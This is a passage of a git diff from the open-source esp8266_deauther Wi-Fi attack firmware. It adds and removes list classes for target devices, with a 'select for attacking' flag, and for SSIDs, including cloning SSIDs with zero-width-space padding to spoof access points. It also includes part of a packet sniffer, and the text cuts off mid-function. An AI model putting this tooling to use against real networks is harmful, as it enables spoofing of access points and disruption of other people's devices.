if (macAdrs[i].compare(adr)) {
return i;
}
}
return -1;
}
void MacList::info() {
Serial.print("Items: " + (String)num + " / " + (String)len + "\n");
for (int i = 0; i < num; i++) {
macAdrs[i]._print();
}
}
void MacList::_clear() {
for (int i = 0; i < num; i++) {
macAdrs[i].set(0x00, 0x00, 0x00, 0x00, 0x00, 0x00);
}
num = 0;
}
void MacList::remove(Mac adr) {
for (int i = 0; i < num; i++) {
if (macAdrs[i].compare(adr)) {
macAdrs[i].set(0x00, 0x00, 0x00, 0x00, 0x00, 0x00);
}
}
}
void MacList::set(int num, Mac adr) {
macAdrs[num].set(adr);
}

View File

@ -0,0 +1,29 @@
#ifndef MacList_h
#define MacList_h
#define listLen 64
#include "Mac.h"
class MacList
{
public:
MacList();
int add(Mac adr);
void remove(Mac adr);
void set(int num, Mac adr);
void info();
bool contains(Mac adr);
int getNum(Mac adr);
Mac _get(int i);
void _clear();
int num = 0;
Mac macAdrs[listLen];
private:
int len = listLen;
void addPacket(Mac adr);
};
#endif

View File

@ -0,0 +1,100 @@
#include "NameList.h"
NameList::NameList() {
if ((listLength * nameLength + 6) + 1 > maxSize) Serial.println("ERROR: EEPROM OVERFLOW!");
}
void NameList::load() {
len = (int)EEPROM.read(romAdr);
if (len < 1 || len > listLength) NameList::clear();
int num = 0;
Mac _client;
for (int i = 1; i < len * (nameLength + 6) + 1; i += nameLength + 6) {
for (int h = 0; h < 6; h++) _client.setAt(EEPROM.read(i + h), h);
for (int h = 0; h < nameLength; h++) names[num][h] = EEPROM.read(i + h + 6);
clients.add(_client);
num++;
}
}
void NameList::clear() {
len = 0;
clients._clear();
EEPROM.write(romAdr, len);
EEPROM.commit();
Serial.println("nameList cleared");
}
void NameList::save() {
EEPROM.write(romAdr, len);
int num = 0;
for (int i = 1; i < len * (nameLength + 6) + 1; i += nameLength + 6) {
for (int h = 0; h < 6; h++) EEPROM.write(i + h, clients._get(num)._get(h));
for (int h = 0; h < nameLength; h++) EEPROM.write(i + h + 6, names[num][h]);
num++;
}
EEPROM.commit();
}
void NameList::add(Mac client, String name) {
if (clients.add(client) >= 0) len++;
else if (clients.getNum(client) < 0) Serial.println("WARNING: name list is full!");
uint8_t _buf[nameLength];
name.getBytes(_buf, nameLength);
for (int i = 0; i < nameLength; i++) {
if (i < name.length()) names[clients.getNum(client)][i] = _buf[i];
else names[clients.getNum(client)][i] = 0x00;
}
NameList::save();
}
String NameList::get(int num) {
String returnStr;
if (num >= 0) {
for (int h = 0; h < nameLength; h++) {
if (names[num][h] != 0x00) returnStr += (char)names[num][h];
}
returnStr.trim();
return returnStr;
}
}
Mac NameList::getMac(int num) {
return clients._get(num);
}
String NameList::getByMac(Mac client) {
String returnStr;
int clientNum = clients.getNum(client);
if (clientNum > -1) {
for (int h = 0; h < nameLength; h++) {
if (names[clientNum][h] != 0x00) returnStr += (char)names[clientNum][h];
}
}
return returnStr;
}
int NameList::getNumByMac(Mac client) {
return clients.getNum(client);
}
void NameList::remove(int num) {
for (int i = num; i < len - 1; i++) {
clients.set(num, clients._get(num + 1));
for (int h = 0; h < nameLength; h++) names[num][h] = names[num + 1][h];
}
clients.remove(clients._get(len));
clients.num--;
len--;
save();
}
void NameList::edit(int num, String name) {
for (int i = 0; i < nameLength; i++) {
if (i < name.length()) names[num][i] = name[i];
else names[num][i] = 0x00;
}
}

View File

@ -0,0 +1,41 @@
#ifndef NameList_h
#define NameList_h
#include <EEPROM.h>
#include "Mac.h"
#include "MacList.h"
#define romAdr 0
#define maxSize 1024
#define listLength 50
#define nameLength 18
/*
The NameList holds and saves all your custom device names in the EEPROM.
You can modify the length above, but be careful the EEPROM size is limited.
You may have to call nameList.clear() when uploading for the first time.
*/
extern const bool debug;
class NameList
{
public:
NameList();
void load();
void clear();
void add(Mac client, String name);
void edit(int num, String name);
String get(int num);
String getByMac(Mac client);
int getNumByMac(Mac client);
Mac getMac(int num);
void remove(int num);
int len = 0;
private:
void save();
MacList clients;
uint8_t names[listLength][nameLength];
};
#endif

View File

@ -1,519 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "Names.h"
#include <LittleFS.h>
Names::Names() {
list = new SimpleList<Device>;
}
void Names::load() {
internal_removeAll();
DynamicJsonBuffer jsonBuffer(4000);
checkFile(FILE_PATH, String(OPEN_BRACKET) + String(CLOSE_BRACKET));
JsonArray& arr = parseJSONFile(FILE_PATH, jsonBuffer);
for (uint32_t i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) {
JsonArray& tmpArray = arr.get<JsonVariant>(i);
internal_add(tmpArray.get<String>(0), tmpArray.get<String>(2), tmpArray.get<String>(3), tmpArray.get<uint8_t>(
4), false);
sort();
}
prnt(N_LOADED);
prntln(FILE_PATH);
}
void Names::load(String filepath) {
String tmp = FILE_PATH;
FILE_PATH = filepath;
load();
FILE_PATH = tmp;
}
void Names::save(bool force) {
if (!force && !changed) {
return;
prntln(N_SAVED);
}
String buf = String(OPEN_BRACKET); // [
if (!writeFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String();
String name;
int c = count();
for (int i = 0; i < c; i++) {
name = escape(getName(i));
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22",
buf += String(DOUBLEQUOTES) + getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
buf += String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // "name",
buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
buf += String(getCh(i)) + String(COMMA); // 1,
buf += b2s(getSelected(i)) + String(CLOSE_BRACKET); // false]
if (i < c - 1) buf += COMMA; // ,
if (buf.length() >= 1024) {
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String();
}
}
buf += String(CLOSE_BRACKET); // ]
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
prnt(N_SAVED);
prntln(FILE_PATH);
changed = false;
}
void Names::save(bool force, String filepath) {
String tmp = FILE_PATH;
FILE_PATH = filepath;
save(force);
FILE_PATH = tmp;
}
void Names::sort() {
list->setCompare([](Device& a, Device& b) -> int {
return memcmp(a.mac, b.mac, 6);
});
list->sort();
}
void Names::removeAll() {
internal_removeAll();
prntln(N_REMOVED_ALL);
changed = true;
}
bool Names::check(int num) {
if (internal_check(num)) return true;
prnt(N_ERROR_NOT_FOUND);
prntln(num);
return false;
}
int Names::findID(uint8_t* mac) {
for (int i = 0; i < list->size(); i++) {
if (memcmp(mac, list->get(i).mac, 6) == 0) return i;
}
return -1;
}
String Names::find(uint8_t* mac) {
int num = findID(mac);
if (num >= 0) return getName(num);
else return String();
}
void Names::print(int num) {
print(num, true, true);
}
void Names::print(int num, bool header, bool footer) {
if (!check(num)) return;
if (header) {
prntln(N_TABLE_HEADER);
prntln(N_TABLE_DIVIDER);
}
prnt(leftRight(String(), (String)num, 2));
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
prnt(leftRight(String(SPACE) + getName(num), String(), 17));
prnt(leftRight(String(SPACE) + getBssidStr(num), String(), 18));
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
if (footer) prntln(N_TABLE_DIVIDER);
}
void Names::printAll() {
prntln(N_HEADER);
int c = count();
if (c == 0) prntln(N_ERROR_LIST_EMPTY);
else
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
}
void Names::printSelected() {
prntln(N_TABLE_HEADER);
int max = selected();
int c = count();
if (max == 0) {
prntln(N_ERROR_NO_SELECTED);
return;
}
for (int i = 0, j = 0; i < c && j < max; i++) {
if (getSelected(i)) {
print(i, j == 0, j == max - 1);
j++;
}
}
}
void Names::add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force) {
if (count() >= NAME_LIST_SIZE) {
if (force) internal_remove(0);
else {
prntln(N_ERROR_LIST_FULL);
return;
}
}
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
internal_add(mac, name, bssid, ch, selected);
sort();
prnt(N_ADDED);
prntln(name);
changed = true;
}
void Names::add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force) {
if (count() >= NAME_LIST_SIZE) {
if (force) internal_remove(0);
else {
prntln(N_ERROR_LIST_FULL);
return;
}
}
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
internal_add(macStr, name, bssidStr, ch, selected);
sort();
prnt(N_ADDED);
prntln(name);
changed = true;
}
void Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
if (!check(num)) return;
remove(num);
internal_add(macStr, name, bssidStr, ch, selected);
sort();
prnt(N_REPLACED);
prntln(name);
changed = true;
}
void Names::remove(int num) {
if (!check(num)) return;
prnt(N_REMOVED);
prntln(getName(num));
internal_remove(num);
changed = true;
}
void Names::setName(int num, String name) {
if (!check(num)) return;
internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num));
prntln(N_CHANGED_NAME);
internal_remove(num);
sort();
changed = true;
}
void Names::setMac(int num, String macStr) {
if (!check(num)) return;
uint8_t mac[6];
strToMac(macStr, mac);
internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num));
prntln(N_CHANGED_MAC);
internal_remove(num);
sort();
changed = true;
}
void Names::setCh(int num, uint8_t ch) {
if (!check(num)) return;
internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num));
prntln(N_CHANGED_CH);
internal_remove(num);
sort();
changed = true;
}
void Names::setBSSID(int num, String bssidStr) {
if (!check(num)) return;
uint8_t mac[6];
strToMac(bssidStr, mac);
internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num));
prntln(N_CHANGED_BSSID);
internal_remove(num);
sort();
changed = true;
}
void Names::select(int num) {
if (!check(num)) return;
internal_select(num);
prnt(N_SELECTED);
prntln(getName(num));
changed = true;
}
void Names::select(String name) {
int c = count();
for (int i = 0; i < c; i++) {
if (getName(i).equals(name)) {
select(i);
return;
}
}
prnt(N_ERROR_NOT_FOUND);
prntln(name);
}
void Names::deselect(int num) {
if (!check(num)) return;
internal_deselect(num);
prnt(N_DESELECTED);
prntln(getName(num));
changed = true;
}
void Names::deselect(String name) {
int c = count();
for (int i = 0; i < c; i++) {
if (getName(i).equals(name)) {
deselect(i);
return;
}
}
prnt(N_ERROR_NOT_FOUND);
prnt(name);
}
void Names::selectAll() {
int c = count();
for (int i = 0; i < c; i++) internal_select(i);
prntln(N_SELECTED_ALL);
}
void Names::deselectAll() {
int c = count();
for (int i = 0; i < c; i++) internal_deselect(i);
prntln(N_DESELECTED_ALL);
}
uint8_t* Names::getMac(int num) {
if (!check(num)) return NULL;
return list->get(num).mac;
}
uint8_t* Names::getBssid(int num) {
if (!check(num)) return NULL;
return list->get(num).apBssid;
}
String Names::getMacStr(int num) {
if (!check(num)) return String();
uint8_t* mac = getMac(num);
return bytesToStr(mac, 6);
}
String Names::getVendorStr(int num) {
if (!check(num)) return String();
return searchVendor(list->get(num).mac);
}
String Names::getBssidStr(int num) {
String value;
if (getBssid(num) != NULL) {
uint8_t* mac = getBssid(num);
for (int i = 0; i < 6; i++) {
if (mac[i] < 0x10) value += ZERO;
value += String(mac[i], HEX);
if (i < 5) value += DOUBLEPOINT;
}
}
return value;
}
String Names::getName(int num) {
if (!check(num)) return String();
return String(list->get(num).name);
}
String Names::getSelectedStr(int num) {
return b2a(getSelected(num));
}
uint8_t Names::getCh(int num) {
if (!check(num)) return 1;
return list->get(num).ch;
}
bool Names::getSelected(int num) {
if (!check(num)) return false;
return list->get(num).selected;
}
bool Names::isStation(int num) {
return getBssid(num) != NULL;
}
int Names::count() {
return list->size();
}
int Names::selected() {
int num = 0;
for (int i = 0; i < count(); i++)
if (getSelected(i)) num++;
return num;
}
int Names::stations() {
int num = 0;
for (int i = 0; i < count(); i++)
if (isStation(i)) num++;
return num;
}
bool Names::internal_check(int num) {
return num >= 0 && num < count();
}
void Names::internal_select(int num) {
Device newDevice = list->get(num);
newDevice.selected = true;
list->replace(num, newDevice);
}
void Names::internal_deselect(int num) {
Device newDevice = list->get(num);
newDevice.selected = false;
list->replace(num, newDevice);
}
void Names::internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected) {
uint8_t* deviceMac = (uint8_t*)malloc(6);
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
char* deviceName = (char*)malloc(name.length() + 1);
uint8_t* deviceBssid = NULL;
name = fixUtf8(name);
memcpy(deviceMac, mac, 6);
strcpy(deviceName, name.c_str());
if (bssid) {
deviceBssid = (uint8_t*)malloc(6);
memcpy(deviceBssid, bssid, 6);
}
if ((ch < 1) || (ch > 14)) ch = 1;
Device newDevice;
newDevice.mac = deviceMac;
newDevice.name = deviceName;
newDevice.apBssid = deviceBssid;
newDevice.ch = ch;
newDevice.selected = selected;
list->add(newDevice);
}
void Names::internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
uint8_t mac[6];
if (!strToMac(macStr, mac)) return;
if (bssidStr.length() == 17) {
uint8_t bssid[6];
strToMac(bssidStr, bssid);
internal_add(mac, name, bssid, ch, selected);
} else {
internal_add(mac, name, NULL, ch, selected);
}
}
void Names::internal_remove(int num) {
free(list->get(num).mac);
free(list->get(num).name);
if (list->get(num).apBssid) free(list->get(num).apBssid);
list->remove(num);
}
void Names::internal_removeAll() {
while (count() > 0) {
free(list->get(0).mac);
free(list->get(0).name);
if (list->get(0).apBssid) free(list->get(0).apBssid);
list->remove(0);
}
}

View File

@ -1,101 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
#include "language.h"
#include "SimpleList.h"
#define NAME_LIST_SIZE 25
#define NAME_MAX_LENGTH 17
extern void checkFile(String path, String data);
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
extern bool writeFile(String path, String& buf);
extern bool appendFile(String path, String& buf);
extern bool strToMac(String macStr, uint8_t* mac);
extern String searchVendor(uint8_t* mac);
extern String fixUtf8(String str);
extern String leftRight(String a, String b, int len);
extern String escape(String str);
extern String bytesToStr(const uint8_t* b, uint32_t size);
class Names {
public:
Names();
void load();
void load(String filepath);
void save(bool force);
void save(bool force, String filepath);
void sort();
String find(uint8_t* mac);
int findID(uint8_t* mac);
void print(int num);
void print(int num, bool header, bool footer);
void select(int num);
void select(String name);
void deselect(int num);
void deselect(String name);
void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force);
void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force);
void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected);
void remove(int num);
void printAll();
void printSelected();
void selectAll();
void deselectAll();
void removeAll();
uint8_t* getMac(int num);
uint8_t* getBssid(int num);
String getMacStr(int num);
String getBssidStr(int num);
String getName(int num);
String getVendorStr(int num);
String getSelectedStr(int num);
uint8_t getCh(int num);
bool getSelected(int num);
bool isStation(int num);
void setName(int num, String name);
void setMac(int num, String macStr);
void setCh(int num, uint8_t ch);
void setBSSID(int num, String bssidStr);
int count();
int selected();
int stations();
bool check(int num);
private:
String FILE_PATH = "/names.json";
bool changed = false;
struct Device {
uint8_t* mac; // mac address
char * name; // name of saved device
uint8_t* apBssid; // mac address of AP (if saved device is a station)
uint8_t ch; // Wi-Fi channel of Device
bool selected; // select for attacking
};
SimpleList<Device>* list;
int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd);
bool internal_check(int num);
void internal_select(int num);
void internal_deselect(int num);
void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected);
void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected);
void internal_remove(int num);
void internal_removeAll();
};

View File

@ -0,0 +1,108 @@
#include "SSIDList.h"
SSIDList::SSIDList() {
if (listAdr + SSIDListLength * SSIDLength > 4096) Serial.println("WARNING: EEPROM overflow!");
}
void SSIDList::load() {
len = EEPROM.read(lenAdr);
if ( len < 0 || len > SSIDListLength) {
clear();
save();
}
for (int i = 0; i < len; i++) {
for (int h = 0; h < SSIDLength; h++) {
char _nextChar = EEPROM.read(listAdr + (i * SSIDLength) + h);
names[i][h] = _nextChar;
}
encrypted[i] = EEPROM.read(encAdr + i);
}
}
void SSIDList::clear() {
len = 0;
}
void SSIDList::add(String name, bool enc) {
if (len < SSIDListLength) {
for (int i = 0; i < SSIDLength; i++) {
if (i < name.length()) names[len][i] = name[i];
else names[len][i] = 0x00;
}
encrypted[len] = enc;
len++;
}
}
void SSIDList::addClone(String name, int num, bool enc) {
int _restSSIDLen = SSIDLength - name.length();
String _apName;
for (int c = 0; c < SSIDListLength && c < num; c++) {
_apName = name;
if (c < _restSSIDLen){
for (int d = 0; d < _restSSIDLen - c; d++) _apName += " "; //e.g. "SAMPLEAP "
} else if (c < _restSSIDLen * 2) {
//_apName = " " + _apName;
_apName = "\u200B"+_apName;
for (int d = 0; d < (_restSSIDLen - 3) - c / 2; d++) _apName += " "; //e.g. "SAMPLEAP " (zero widtdh char at the beginning)
} else if (c < _restSSIDLen * 3) {
_apName = "." + _apName;
for (int d = 0; d < (_restSSIDLen - 1) - c / 3; d++) _apName += " "; //e.g. ".SAMPLEAP "
} else {
for (int d = 0; d < _restSSIDLen - 2; d++) _apName += " ";
_apName += (String)c;//e.g. "SAMPLEAP 78"
}
add(_apName, enc);
}
}
String SSIDList::get(int num) {
String _name = "";
for (int i = 0; i < SSIDLength; i++) {
if (names[num][i] != 0x00) _name += names[num][i];
}
return _name;
}
bool SSIDList::isEncrypted(int num){
return encrypted[num];
}
void SSIDList::remove(int num) {
if (num >= 0 && num < len) {
for (int i = num; i < len - 1; i++) {
for (int h = 0; h < SSIDLength; h++) {
names[i][h] = names[i + 1][h];
}
encrypted[i] = encrypted[i + 1];
}
len--;
}
}
void SSIDList::save() {
if (debug) Serial.print("saving SSIDList...");
EEPROM.write(lenAdr, len);
for (int i = 0; i < len; i++) {
for (int h = 0; h < SSIDLength; h++) {
EEPROM.write(listAdr + (i * SSIDLength) + h, names[i][h]);
}
EEPROM.write(encAdr + i, encrypted[i]);
}
EEPROM.commit();
if (debug) Serial.println("done");
}
void SSIDList::_random() {
String _rName;
for (int i = len; i < SSIDListLength; i++) {
_rName = "";
for (int h = 0; h < SSIDLength; h++) _rName += letters[random(0, sizeof(letters))];
add(_rName, random(2) > 0.5 );
}
}

View File

@ -0,0 +1,39 @@
#ifndef SSIDList_h
#define SSIDList_h
#include <EEPROM.h>
#include "Mac.h"
#include "MacList.h"
#define listAdr 2048
#define lenAdr 2047
#define encAdr 3585
#define SSIDListLength 48
#define SSIDLength 32
extern const bool debug;
class SSIDList
{
public:
SSIDList();
void load();
void clear();
void add(String name, bool enc);
void addClone(String name, int num, bool enc);
void edit(int num, String name);
String get(int num);
bool isEncrypted(int num);
void remove(int num);
void _random();
void save();
int len = 0;
private:
char letters[67] = {0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x20, 0x2c, 0x2e, 0x2d, 0x5f};
char names[SSIDListLength][SSIDLength];
bool encrypted[SSIDListLength];
};
#endif

View File

@ -1,322 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "SSIDs.h"
#include <LittleFS.h>
#include "settings.h"
SSIDs::SSIDs() {
list = new SimpleList<SSID>;
}
void SSIDs::load() {
internal_removeAll();
DynamicJsonBuffer jsonBuffer(4000);
checkFile(FILE_PATH, str(SS_JSON_DEFAULT));
JsonObject& obj = parseJSONFile(FILE_PATH, jsonBuffer);
JsonArray & arr = obj.get<JsonArray>(str(SS_JSON_SSIDS));
for (uint32_t i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) {
JsonArray& tmpArray = arr.get<JsonVariant>(i);
internal_add(tmpArray.get<String>(0), tmpArray.get<bool>(1), tmpArray.get<int>(2));
}
prnt(SS_LOADED);
prntln(FILE_PATH);
}
void SSIDs::load(String filepath) {
String tmp = FILE_PATH;
FILE_PATH = filepath;
load();
FILE_PATH = tmp;
}
void SSIDs::removeAll() {
internal_removeAll();
prntln(SS_CLEARED);
changed = true;
}
void SSIDs::save(bool force) {
if (!force && !changed) return;
String buf = String(); // create buffer
buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(
DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false,
buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) +
String(OPEN_BRACKET); // "ssids":[
if (!writeFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
String name;
int c = count();
for (int i = 0; i < c; i++) {
name = escape(getName(i));
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name",
buf += b2s(getWPA2(i)) + String(COMMA); // false,
buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12]
if (i < c - 1) buf += COMMA; // ,
if (buf.length() >= 1024) {
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
}
}
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
prnt(SS_SAVED_IN);
prntln(FILE_PATH);
changed = false;
}
void SSIDs::save(bool force, String filepath) {
String tmp = FILE_PATH;
FILE_PATH = filepath;
save(force);
FILE_PATH = tmp;
}
void SSIDs::update() {
if (randomMode) {
if (currentTime - randomTime > randomInterval * 1000) {
prntln(SS_RANDOM_INFO);
for (int i = 0; i < SSID_LIST_SIZE; i++) {
SSID newSSID;
if (check(i)) newSSID = list->get(i);
newSSID.name = String();
newSSID.len = 32;
for (int i = 0; i < 32; i++) newSSID.name += char(random(32, 127));
newSSID.wpa2 = random(0, 2);
if (check(i)) list->replace(i, newSSID);
else list->add(newSSID);
}
randomTime = currentTime;
changed = true;
}
}
}
String SSIDs::getName(int num) {
return check(num) ? list->get(num).name : String();
}
bool SSIDs::getWPA2(int num) {
return check(num) ? list->get(num).wpa2 : false;
}
int SSIDs::getLen(int num) {
return check(num) ? list->get(num).len : 0;
}
void SSIDs::setWPA2(int num, bool wpa2) {
SSID newSSID = list->get(num);
newSSID.wpa2 = wpa2;
list->replace(num, newSSID);
}
String SSIDs::getEncStr(int num) {
if (getWPA2(num)) return "WPA2";
else return "-";
}
void SSIDs::remove(int num) {
if (!check(num)) return;
internal_remove(num);
prnt(SS_REMOVED);
prntln(getName(num));
changed = true;
}
String SSIDs::randomize(String name) {
int ssidlen = name.length();
if (ssidlen > 32) name = name.substring(0, 32);
if (ssidlen < 32) {
for (int i = ssidlen; i < 32; i++) {
int rnd = random(3);
if ((i < 29) && (rnd == 0)) { // ZERO WIDTH SPACE
name += char(0xE2);
name += char(0x80);
name += char(0x8B);
i += 2;
} else if ((i < 30) && (rnd == 1)) { // NO-BREAK SPACE
name += char(0xC2);
name += char(0xA0);
i += 1;
} else {
name += char(0x20); // SPACE
}
}
}
return name;
}
void SSIDs::add(String name, bool wpa2, int clones, bool force) {
if (list->size() >= SSID_LIST_SIZE) {
if (force) {
internal_remove(0);
} else {
prntln(SS_ERROR_FULL);
return;
}
}
if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE;
for (int i = 0; i < clones; i++) {
internal_add(clones > 1 ? randomize(name) : name, wpa2, name.length());
if (list->size() > SSID_LIST_SIZE) internal_remove(0);
}
prnt(SS_ADDED);
prntln(name);
changed = true;
}
void SSIDs::cloneSelected(bool force) {
if (accesspoints.selected() > 0) {
int clones = SSID_LIST_SIZE;
if (!force) clones -= list->size();
clones /= accesspoints.selected();
int apCount = accesspoints.count();
for (int i = 0; i < apCount; i++) {
if (accesspoints.getSelected(i)) add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force);
}
}
}
bool SSIDs::getRandom() {
return randomMode;
}
void SSIDs::replace(int num, String name, bool wpa2) {
if (!check(num)) return;
int len = name.length();
if (len > 32) len = 32;
SSID newSSID;
newSSID.name = randomize(name);
newSSID.wpa2 = wpa2;
newSSID.len = (uint8_t)len;
list->replace(num, newSSID);
prnt(SS_REPLACED);
prntln(name);
changed = true;
}
void SSIDs::print(int num) {
print(num, true, false);
}
void SSIDs::print(int num, bool header, bool footer) {
if (!check(num)) return;
if (header) {
prntln(SS_TABLE_HEADER);
prntln(SS_TABLE_DIVIDER);
}
prnt(leftRight(String(), (String)num, 2));
prnt(leftRight(String(SPACE), getEncStr(num), 5));
prntln(leftRight(String(SPACE) + getName(num), String(), 33));
if (footer) prntln(SS_TABLE_DIVIDER);
}
void SSIDs::printAll() {
prntln(SS_HEADER);
int c = count();
if (c == 0) prntln(SS_ERROR_EMPTY);
else
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
}
int SSIDs::count() {
return list->size();
}
bool SSIDs::check(int num) {
return num >= 0 && num < count();
}
void SSIDs::enableRandom(uint32_t randomInterval) {
randomMode = true;
SSIDs::randomInterval = randomInterval;
prntln(SS_RANDOM_ENABLED);
update();
}
void SSIDs::disableRandom() {
randomMode = false;
internal_removeAll();
prntln(SS_RANDOM_DISABLED);
}
void SSIDs::internal_add(String name, bool wpa2, int len) {
if (len > 32) {
name = name.substring(0, 32);
len = 32;
}
name = fixUtf8(name);
SSID newSSID;
newSSID.name = name;
newSSID.wpa2 = wpa2;
newSSID.len = (uint8_t)len;
list->add(newSSID);
}
void SSIDs::internal_remove(int num) {
list->remove(num);
}
void SSIDs::internal_removeAll() {
list->clear();
}

View File

@ -1,84 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
#include "language.h"
#include "SimpleList.h"
#include "Accesspoints.h"
#define SSID_LIST_SIZE 60
extern uint32_t currentTime;
extern Accesspoints accesspoints;
extern void checkFile(String path, String data);
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
extern bool appendFile(String path, String& buf);
extern bool writeFile(String path, String& buf);
extern void readFileToSerial(String path);
extern String fixUtf8(String str);
extern String leftRight(String a, String b, int len);
extern String escape(String str);
class SSIDs {
public:
SSIDs();
void load();
void load(String filepath);
void save(bool force);
void save(bool force, String filepath);
void update();
void print(int num);
void print(int num, bool header, bool footer);
void add(String name, bool wpa2, int clones, bool force);
void cloneSelected(bool force);
void remove(int num);
void enableRandom(uint32_t randomInterval);
void disableRandom();
bool getRandom();
String getName(int num);
bool getWPA2(int num);
String getEncStr(int num);
int getLen(int num);
void setWPA2(int num, bool wpa2);
void replace(int num, String name, bool wpa2);
void printAll();
void removeAll();
int count();
private:
bool changed = false;
bool randomMode = false;
uint32_t randomInterval = 2000;
uint32_t randomTime = 0;
struct SSID {
String name; // SSID
bool wpa2; // WPA2 encrypted or not
uint8_t len; // original length (before editing it to be 32 characters)
};
String FILE_PATH = "/ssids.json";
SimpleList<SSID>* list;
bool check(int num);
String randomize(String name);
void internal_add(String name, bool wpa2, int add);
void internal_remove(int num);
void internal_removeAll();
};

View File

@ -1,453 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "Scan.h"
#include "settings.h"
#include "wifi.h"
Scan::Scan() {
list = new SimpleList<uint16_t>;
}
void Scan::sniffer(uint8_t* buf, uint16_t len) {
if (!isSniffing()) return;
packets++;
if (len < 28) return; // drop frames that are too short to have a valid MAC header
if ((buf[12] == 0xc0) || (buf[12] == 0xa0)) {
tmpDeauths++;
return;
}
// drop beacon frames, probe requests/responses and deauth/disassociation frames
if ((buf[12] == 0x80) || (buf[12] == 0x40) || (buf[12] == 0x50) /* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;
// only allow data frames
// if(buf[12] != 0x08 && buf[12] != 0x88) return;
uint8_t* macTo = &buf[16];
uint8_t* macFrom = &buf[22];
if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) ||
macMulticast(macFrom)) return;
int accesspointNum = findAccesspoint(macFrom);
if (accesspointNum >= 0) {
stations.add(macTo, accesspoints.getID(accesspointNum));
} else {
accesspointNum = findAccesspoint(macTo);
if (accesspointNum >= 0) {
